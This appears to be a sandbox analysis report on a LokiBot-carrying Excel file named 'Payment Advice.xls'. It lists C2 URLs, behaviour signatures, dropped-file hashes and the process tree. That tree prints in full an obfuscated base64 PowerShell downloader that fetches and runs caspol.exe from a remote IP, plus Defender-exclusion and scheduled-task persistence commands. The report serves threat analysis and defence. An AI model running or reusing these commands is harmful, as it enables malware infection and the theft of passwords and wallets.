Analysis

  • max time kernel
    143s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18-11-2024 17:10

General

  • Target

    Payment Advice.xls

  • Size

    1.2MB

  • MD5

    c4de8d19dd2ca3d7dbe8bef7df57cbec

  • SHA1

    61337281c5dd8dc3586e8286e38ebdb27126b0a7

  • SHA256

    002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195

  • SHA512

    d2b502172f3fa2fe1102c6fbca9a9e23e0ad3946e65a0e0d3309f51ae252969097f5256d20080a865fb9142840f3a20fdd5fcd4984b030f8a90a225bdd20e174

  • SSDEEP

    24576:Cj+sS5ylM7RPQH/9A20bh6XwItW9PS9dfbHVUlrkwCIGwD:Cj+Zsyk/u2ukW09dfZoRfGwD

Malware Config

Extracted

Family

lokibot

C2

http://94.156.177.95/simple/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2884
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
      "C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2472
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2304
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hnizr2tx.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83C1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC83B1.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2516
      • C:\Users\Admin\AppData\Roaming\caspol.exe
        "C:\Users\Admin\AppData\Roaming\caspol.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:976
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1744
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp39A6.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1772
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1120

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

    Filesize

    717B

    MD5

    822467b728b7a66b081c91795373789a

    SHA1

    d8f2f02e1eef62485a9feffd59ce837511749865

    SHA256

    af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

    SHA512

    bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

    Filesize

    345B

    MD5

    dfe9d40108cd6499968560d0319998c6

    SHA1

    6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73

    SHA256

    1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e

    SHA512

    5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

    Filesize

    192B

    MD5

    c0b7c315ca6c8b24c6e5501f2a51ea8f

    SHA1

    d3575154b2340406d4b0682a02aca2e01093a824

    SHA256

    571bcbfaffcc9a2e6f53e87902ee4405c9b94a3b67d49b830135d8f5f736fc70

    SHA512

    1b95c493dc4cc28e0cb2f996b0ddfaff997de0b922ab3831b89123acf69b1e5b4e70d426a3b2fa4632a21450ca252ac9652685521abd7f50fd844a593e6213f8

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    fc6e1d8bbf4738957e7948c198d0698a

    SHA1

    309173d9bbdde1a5b6d2563995823c8be9ae8831

    SHA256

    c5ca8dd5daf8ab64c79ab684d479cafdfb2b52a8521a1b217a7df5058fded6c1

    SHA512

    f1ba75d4a28454bce9b2e94c924e0be5f21ba49640fc8f4e34380cfbc48403e9cc615487852cacacf01594815986a8e1d87959410769e71717a728cce508cd0c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

    Filesize

    544B

    MD5

    e9ac274e09e6dbd13d7b0788bbd7e605

    SHA1

    585d3617291575424886a743fbc11544e1bbc782

    SHA256

    b0296e7cd8d7767a5134c7673320caaeb0922bb98cd47bea2dc5bb5bfda3eb12

    SHA512

    2f57d4330b7d9986a09bed6db2bb7c1841d04a6b03f711dbca3039053b02384432523e166c4b9e65188be2cf3dc366f2fc91435c4ec61762feffa0ea824f621d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DUME8XYE\givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew[1].hta

    Filesize

    8KB

    MD5

    f3e18c2fd2190a479b6fb930e6061c2e

    SHA1

    88efd851c900d0a32d4876b3cc8be0a50ebec363

    SHA256

    98afd5f972247d0d98dfad43a380dc8390a8ec52c6e6f8cdfcd0a858f2433dce

    SHA512

    ab0862b5ab48bbd2781ec7397861904bd412fa282ef56ef1212ce15840f3a9dd22cd043b125af83707dae39d433dd03fcb657a1d546f77b3fae6bc32725ade5e

  • C:\Users\Admin\AppData\Local\Temp\Cab707F.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES83C1.tmp

    Filesize

    1KB

    MD5

    63442ccb8c502f637b732f5b38d3a9a3

    SHA1

    a8f09715b33867c12cba8134b17ad5f50be3c299

    SHA256

    3e130e083c1caa531f737aa5fecad1ad447eac3f46d0f6915e4e65965d4821da

    SHA512

    fb7de716abe1d2e9b70e7036c2845e96300783a840967d8363c1c842db19c072a7242d750be1aaba910771c148d8cabd8dd6ab29cac76272603147f6223d7fe2

  • C:\Users\Admin\AppData\Local\Temp\hnizr2tx.dll

    Filesize

    3KB

    MD5

    bba4188c05c1ed950ec726120ac3684b

    SHA1

    9fad5ebf3b0d1424609a1af371666e242d3bd5a5

    SHA256

    00ac64733a5712e4b89ae728bee3ed1daf4f679cd656094b8d9a032b2a620986

    SHA512

    b28d8a671a3265bb5c09c0b2bbd8c1198b11c7ea459b484cbecab3872f3cbb0106418d4cea56c0bd08499c1be09c942456bbc43dc64e168f5ea8600ab8c2aa1b

  • C:\Users\Admin\AppData\Local\Temp\hnizr2tx.pdb

    Filesize

    7KB

    MD5

    7e107bbc25691348448f4893a44cff88

    SHA1

    3be5d4792f17095fa7e5d98fd2991bb774ff2a96

    SHA256

    1ff88b572e2e14e0ceea64146e74e5e25be7a0e3c25aee2207c6eec1267d2bfb

    SHA512

    82885df494d5eef0b2181ca20f6333ddddf36d11848e33d66220fe158cf6c1b5ccf54b850581e9399c42dc22f6f7643718d296b593ebd6ae0ae8d2309591e652

  • C:\Users\Admin\AppData\Local\Temp\tmp39A6.tmp

    Filesize

    1KB

    MD5

    87b0626d2bdfe8839459d3266b1c6744

    SHA1

    d203b541a45ad9425593407e8ddf7b4d66f995fb

    SHA256

    a7af0eb9ce7abd1c5ae2d0a7a52226468872b6159c56ec4c1843db5aed15be06

    SHA512

    31842512266798f168e507308477511c1cfb4ee70eb446ff4b6f7acc54646019b914825e67c44881294e01d0cf00f53d5d1adfdbb7938e8752c627e2eed78e66

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    b4d5bcfdcfaa781e011367a297d71d1e

    SHA1

    12e607cbb521815f4068f085f972379841b89042

    SHA256

    e3be17887fb2dc387f2cf958eb4ca181dda52b15b1c5f77a05e03359c180255a

    SHA512

    14e3324463ce5584c2ecc04e6c36dafabf0cc5f027bdda2b4ac5ff05fbd1db27bd8133a064def833be7ea80a768e3cd2a1db97988218ecc3891e4e0581681258

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC83B1.tmp

    Filesize

    652B

    MD5

    0d1d3d5b251ebe284dd2f165c466f2db

    SHA1

    ce83e30ab4c301665feafef8bb2de80a8338cc73

    SHA256

    214aa301ef2aa55e0d82571266830a58d643f6b9932a0eeb3a6ae8182a3fa37d

    SHA512

    addfb30c2e77325a064ef78ad5471e8d21568d1fa3ff02ed557bd531d1f489c4e879fa9b38005dad3b92b17cbe11d0a1f2406265e028f2a16d1a9f7ab0995655

  • \??\c:\Users\Admin\AppData\Local\Temp\hnizr2tx.0.cs

    Filesize

    464B

    MD5

    f8419bbc398e1a2b134eec88b333f8f6

    SHA1

    57ebba4cad00272da80b919df0908ec40f9be48a

    SHA256

    25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3

    SHA512

    b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674

  • \??\c:\Users\Admin\AppData\Local\Temp\hnizr2tx.cmdline

    Filesize

    309B

    MD5

    f715ce55e994619f65f33e8081275f8e

    SHA1

    3990266624ef23ad184376f95ef7c0a9aa34dfd7

    SHA256

    3385605805f2b10fd9c83410fe16441127fc0d631f905aec143cf4b2dc5f37d6

    SHA512

    7d469add6485908a054f8434c2d24529e741316cbc907e422de29c457bff37df633e508baa2fe0675ddccfa8ad23032188a48d2c92f39a996a0ed592c7d66818

  • \Users\Admin\AppData\Roaming\caspol.exe

    Filesize

    568KB

    MD5

    318ff90d7a2797a041b836f7f8900f62

    SHA1

    fdda6afed7a1643ae353e7a635e6744c2b0a07d5

    SHA256

    241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430

    SHA512

    808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac

  • memory/1120-93-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1120-102-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1120-95-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1120-97-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1120-99-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1120-101-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1120-91-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1120-104-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1508-74-0x0000000000430000-0x0000000000442000-memory.dmp

    Filesize

    72KB

  • memory/1508-75-0x0000000004B40000-0x0000000004BA4000-memory.dmp

    Filesize

    400KB

  • memory/1508-73-0x0000000000C90000-0x0000000000D24000-memory.dmp

    Filesize

    592KB

  • memory/2676-18-0x0000000002040000-0x0000000002042000-memory.dmp

    Filesize

    8KB

  • memory/2884-59-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

    Filesize

    44KB

  • memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2884-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

    Filesize

    44KB

  • memory/2884-19-0x0000000001F00000-0x0000000001F02000-memory.dmp

    Filesize

    8KB